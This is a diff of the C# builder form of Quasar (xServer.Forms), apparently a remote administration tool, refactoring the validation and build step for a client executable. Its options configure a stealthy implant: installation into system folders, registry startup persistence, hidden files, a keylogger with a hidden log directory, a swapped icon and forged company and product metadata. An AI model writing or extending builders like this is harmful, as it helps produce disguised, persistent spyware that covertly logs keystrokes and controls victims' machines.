private bool CheckInput()
|
||||
private bool CheckForEmptyInput()
|
||||
{
|
||||
return (!string.IsNullOrEmpty(txtTag.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // General Settings
|
||||
_hosts.Count > 0 && !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtDelay.Text) && // Connection
|
||||
(!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text))) && // Installation
|
||||
(!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text)))); // Installation
|
||||
return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings
|
||||
_hosts.Count > 0 && !string.IsNullOrWhiteSpace(txtPassword.Text) && // Connection
|
||||
(!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallname.Text))) && // Installation
|
||||
(!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation
|
||||
}
|
||||
|
||||
private void btnBuild_Click(object sender, EventArgs e)
|
||||
private BuildOptions ValidateInput()
|
||||
{
|
||||
if (!CheckInput())
|
||||
BuildOptions options = new BuildOptions();
|
||||
if (!CheckForEmptyInput())
|
||||
{
|
||||
MessageBox.Show("Please fill out all required fields!", "Build failed", MessageBoxButtons.OK,
|
||||
MessageBoxIcon.Information);
|
||||
return;
|
||||
return options;
|
||||
}
|
||||
|
||||
string output = string.Empty;
|
||||
string icon = string.Empty;
|
||||
string password = txtPassword.Text;
|
||||
options.Tag = txtTag.Text;
|
||||
options.Mutex = txtMutex.Text;
|
||||
options.RawHosts = HostHelper.GetRawHosts(_hosts);
|
||||
options.Password = txtPassword.Text;
|
||||
options.Delay = (int)numericUpDownDelay.Value;
|
||||
options.IconPath = txtIconPath.Text;
|
||||
options.Version = Application.ProductVersion;
|
||||
options.InstallPath = GetInstallPath();
|
||||
options.InstallSub = txtInstallsub.Text;
|
||||
options.InstallName = txtInstallname.Text + ".exe";
|
||||
options.StartupName = txtRegistryKeyName.Text;
|
||||
options.Install = chkInstall.Checked;
|
||||
options.Startup = chkStartup.Checked;
|
||||
options.HideFile = chkHide.Checked;
|
||||
options.Keylogger = chkKeylogger.Checked;
|
||||
options.LogDirectoryName = txtLogDirectoryName.Text;
|
||||
options.HideLogDirectory = chkHideLogDirectory.Checked;
|
||||
|
||||
if (password.Length < 3)
|
||||
if (options.Password.Length < 3)
|
||||
{
|
||||
MessageBox.Show("Please enter a secure password with more than 3 characters.",
|
||||
"Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
||||
return;
|
||||
"Build failed", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
||||
return options;
|
||||
}
|
||||
|
||||
if (chkIconChange.Checked)
|
||||
if (!File.Exists("client.bin"))
|
||||
{
|
||||
using (OpenFileDialog ofd = new OpenFileDialog())
|
||||
MessageBox.Show("Could not locate \"client.bin\" file. It should be in the same directory as Quasar.",
|
||||
"Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return options;
|
||||
}
|
||||
|
||||
if (options.RawHosts.Length < 2)
|
||||
{
|
||||
MessageBox.Show("Please enter a valid host to connect to.", "Build failed", MessageBoxButtons.OK,
|
||||
MessageBoxIcon.Error);
|
||||
return options;
|
||||
}
|
||||
|
||||
if (chkChangeIcon.Checked)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath))
|
||||
{
|
||||
ofd.Title = "Choose Icon";
|
||||
ofd.Filter = "Icons *.ico|*.ico";
|
||||
ofd.Multiselect = false;
|
||||
if (ofd.ShowDialog() == DialogResult.OK)
|
||||
icon = ofd.FileName;
|
||||
MessageBox.Show("Please choose a valid icon path.", "Build failed", MessageBoxButtons.OK,
|
||||
MessageBoxIcon.Error);
|
||||
return options;
|
||||
}
|
||||
}
|
||||
else
|
||||
options.IconPath = string.Empty;
|
||||
|
||||
if (chkChangeAsmInfo.Checked)
|
||||
{
|
||||
if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text))
|
||||
{
|
||||
MessageBox.Show("Please enter a valid product version number!\nExample: 1.2.3.4", "Build failed",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return options;
|
||||
}
|
||||
|
||||
if (!FormatHelper.IsValidVersionNumber(txtFileVersion.Text))
|
||||
{
|
||||
MessageBox.Show("Please enter a valid file version number!\nExample: 1.2.3.4", "Build failed",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return options;
|
||||
}
|
||||
|
||||
options.AssemblyInformation = new string[8];
|
||||
options.AssemblyInformation[0] = txtProductName.Text;
|
||||
options.AssemblyInformation[1] = txtDescription.Text;
|
||||
options.AssemblyInformation[2] = txtCompanyName.Text;
|
||||
options.AssemblyInformation[3] = txtCopyright.Text;
|
||||
options.AssemblyInformation[4] = txtTrademarks.Text;
|
||||
options.AssemblyInformation[5] = txtOriginalFilename.Text;
|
||||
options.AssemblyInformation[6] = txtProductVersion.Text;
|
||||
options.AssemblyInformation[7] = txtFileVersion.Text;
|
||||
}
|
||||
|
||||
using (SaveFileDialog sfd = new SaveFileDialog())
|
||||
{
|
||||
|
@ -256,59 +331,37 @@ namespace xServer.Forms
|
|||
sfd.Filter = "Executables *.exe|*.exe";
|
||||
sfd.RestoreDirectory = true;
|
||||
sfd.FileName = "Client-built.exe";
|
||||
if (sfd.ShowDialog() != DialogResult.OK) return;
|
||||
output = sfd.FileName;
|
||||
if (sfd.ShowDialog() != DialogResult.OK)
|
||||
{
|
||||
return options;
|
||||
}
|
||||
options.OutputPath = sfd.FileName;
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(output))
|
||||
if (string.IsNullOrEmpty(options.OutputPath))
|
||||
{
|
||||
MessageBox.Show("Please choose a valid output path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
return;
|
||||
MessageBox.Show("Please choose a valid output path.", "Build failed", MessageBoxButtons.OK,
|
||||
MessageBoxIcon.Error);
|
||||
return options;
|
||||
}
|
||||
|
||||
if (chkIconChange.Checked && string.IsNullOrEmpty(icon))
|
||||
{
|
||||
MessageBox.Show("Please choose a valid icon path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
options.ValidationSuccess = true;
|
||||
return options;
|
||||
}
|
||||
|
||||
private void btnBuild_Click(object sender, EventArgs e)
|
||||
{
|
||||
BuildOptions options = ValidateInput();
|
||||
if (!options.ValidationSuccess)
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
string[] asmInfo = null;
|
||||
if (chkChangeAsmInfo.Checked)
|
||||
{
|
||||
if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text) ||
|
||||
!FormatHelper.IsValidVersionNumber(txtFileVersion.Text))
|
||||
{
|
||||
MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Build failed",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
return;
|
||||
}
|
||||
ClientBuilder.Build(options);
|
||||
|
||||
asmInfo = new string[8];
|
||||
asmInfo[0] = txtProductName.Text;
|
||||
asmInfo[1] = txtDescription.Text;
|
||||
asmInfo[2] = txtCompanyName.Text;
|
||||
asmInfo[3] = txtCopyright.Text;
|
||||
asmInfo[4] = txtTrademarks.Text;
|
||||
asmInfo[5] = txtOriginalFilename.Text;
|
||||
asmInfo[6] = txtProductVersion.Text;
|
||||
asmInfo[7] = txtFileVersion.Text;
|
||||
}
|
||||
|
||||
ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), password, txtInstallsub.Text,
|
||||
txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked,
|
||||
chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), icon, asmInfo,
|
||||
Application.ProductVersion);
|
||||
|
||||
MessageBox.Show("Successfully built client!", "Build Success", MessageBoxButtons.OK,
|
||||
MessageBox.Show("Successfully built client!\nSaved to: " + options.OutputPath, "Build Success", MessageBoxButtons.OK,
|
||||
MessageBoxIcon.Information);
|
||||
}
|
||||
catch (FileLoadException)
|
||||
{
|
||||
MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.",
|
||||
"Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(
|
||||
|
@ -317,7 +370,7 @@ namespace xServer.Forms
|
|||
}
|
||||
}
|
||||
|
||||
private void RefreshExamplePath()
|
||||
private void RefreshPreviewPath()
|
||||
{
|
||||
string path = string.Empty;
|
||||
if (rbAppdata.Checked)
|
||||
|
@ -340,7 +393,7 @@ namespace xServer.Forms
|
|||
? Environment.SpecialFolder.SystemX86
|
||||
: Environment.SpecialFolder.System), txtInstallsub.Text), txtInstallname.Text);
|
||||
|
||||
this.Invoke((MethodInvoker)delegate { txtExamplePath.Text = path + ".exe"; });
|
||||
this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; });
|
||||
}
|
||||
|
||||
private short GetInstallPath()
|
||||
|
@ -366,33 +419,30 @@ namespace xServer.Forms
|
|||
}
|
||||
}
|
||||
|
||||
private void ToggleAsmInfoControls()
|
||||
private void UpdateAssemblyControlStates()
|
||||
{
|
||||
this.Invoke((MethodInvoker) delegate
|
||||
{
|
||||
foreach (Control ctrl in assemblyPage.Controls)
|
||||
{
|
||||
var label = ctrl as Label;
|
||||
if (label != null)
|
||||
{
|
||||
label.Enabled = chkChangeAsmInfo.Checked;
|
||||
continue;
|
||||
}
|
||||
|
||||
var box = ctrl as TextBox;
|
||||
if (box != null)
|
||||
box.Enabled = chkChangeAsmInfo.Checked;
|
||||
}
|
||||
});
|
||||
txtProductName.Enabled = chkChangeAsmInfo.Checked;
|
||||
txtDescription.Enabled = chkChangeAsmInfo.Checked;
|
||||
txtCompanyName.Enabled = chkChangeAsmInfo.Checked;
|
||||
txtCopyright.Enabled = chkChangeAsmInfo.Checked;
|
||||
txtTrademarks.Enabled = chkChangeAsmInfo.Checked;
|
||||
txtOriginalFilename.Enabled = chkChangeAsmInfo.Checked;
|
||||
txtFileVersion.Enabled = chkChangeAsmInfo.Checked;
|
||||
txtProductVersion.Enabled = chkChangeAsmInfo.Checked;
|
||||
}
|
||||
|
||||
private void HasChanged()
|
||||
private void UpdateIconControlStates()
|
||||
{
|
||||
if (!_changed && _profileLoaded)
|
||||
_changed = true;
|
||||
txtIconPath.Enabled = chkChangeIcon.Checked;
|
||||
btnBrowseIcon.Enabled = chkChangeIcon.Checked;
|
||||
}
|
||||
|
||||
private void UpdateControlStates()
|
||||
private void UpdateStartupControlStates()
|
||||
{
|
||||
txtRegistryKeyName.Enabled = chkStartup.Checked;
|
||||
}
|
||||
|
||||
private void UpdateInstallationControlStates()
|
||||
{
|
||||
txtInstallname.Enabled = chkInstall.Checked;
|
||||
rbAppdata.Enabled = chkInstall.Checked;
|
||||
|
@ -400,8 +450,12 @@ namespace xServer.Forms
|
|||
rbSystem.Enabled = chkInstall.Checked;
|
||||
txtInstallsub.Enabled = chkInstall.Checked;
|
||||
chkHide.Enabled = chkInstall.Checked;
|
||||
chkStartup.Enabled = chkInstall.Checked;
|
||||
txtRegistryKeyName.Enabled = (chkInstall.Checked && chkStartup.Checked);
|
||||
}
|
||||
|
||||
private void HasChanged()
|
||||
{
|
||||
if (!_changed && _profileLoaded)
|
||||
_changed = true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
@ -419,7 +473,7 @@ namespace xServer.Forms
|
|||
{
|
||||
HasChanged();
|
||||
|
||||
RefreshExamplePath();
|
||||
RefreshPreviewPath();
|
||||
}
|
||||
}
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue